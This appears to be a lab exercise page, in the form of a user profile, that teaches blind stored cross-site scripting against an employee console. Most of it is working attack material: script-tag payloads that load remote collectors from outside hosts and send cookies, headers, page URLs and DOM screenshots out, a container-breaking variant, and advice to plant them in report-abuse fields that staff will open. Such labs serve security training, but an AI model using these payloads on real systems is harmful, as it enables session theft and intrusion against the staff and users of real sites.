Your profile

Jane Walker

profile · this user's public page

just a person on the internet here for the course labs.

In this lab the employee console exists at panel.php — in a real program you'd never see it. The built-in beacon posts hits to the shared beacon inbox.

Method — hunt where you cannot see
  1. Blind XSS = stored XSS that fires on a view you don't control: admin desks, support queues, internal tools behind a VPN. Same storage, hidden fire.
  2. Nothing here: update your name/bio with a classic payload and reload this page — it never fires, fields are escaped on this page. That proves nothing! The stored value may still execute somewhere else.
  3. Assume, then close (the transcript's habit): you never know the sink's wrapping on the hidden view — so close the likely containers first: </textarea></style></script> before executing anything.
  4. Hunter pattern: sign up at xss.report — the hosted blind-XSS platform this course uses. Copy your account payload from its dashboard; it phones home the moment it fires anywhere (page URL, user agent, cookies, DOM screenshot):
<script src="https://xss.report/c/YOUR-COLLECTOR"></script>

Copy the exact collector URL from your xss.report dashboard. No account yet? The lab ships its own classroom beacon — same slot, different URL: https://stuxnet.pro/xss/lab14/b.js; its hits land in the lab inbox below.

  1. Places to assume an employee will land on your data: name, bio, address, signature, and every report-abuse textarea. File one here — reporters never see their own report again.
  2. Confirm by signal, not by sight: with your xss.report collector planted, watch your dashboard; with the classroom beacon, reload the lab inbox. Some fires need patience — beacons can sit in a queue for days.
Spoiler: two payload variants

For raw contexts (the name, the report body):

<script src="https://xss.report/c/YOUR-COLLECTOR"></script>

The console renders the bio inside a textarea — assume and close:

</textarea></style></script><script src="https://xss.report/c/YOUR-COLLECTOR"></script>

Classroom alternative (no signup): same two shapes with https://stuxnet.pro/xss/lab14/b.js — hits show in the lab inbox. The xss.report collector is yours alone: its dashboard shows where it fired plus cookies, headers and a DOM screenshot. Want to see it fire like the lesson's incognito-admin demo? Put <script>alert(1)</script> in the report, open panel.php and the popup fires on load — that page is what moderation would see every day. The beacon gives you the durable answer instead: it fires on whoever opens it, and you read the confirmation remotely.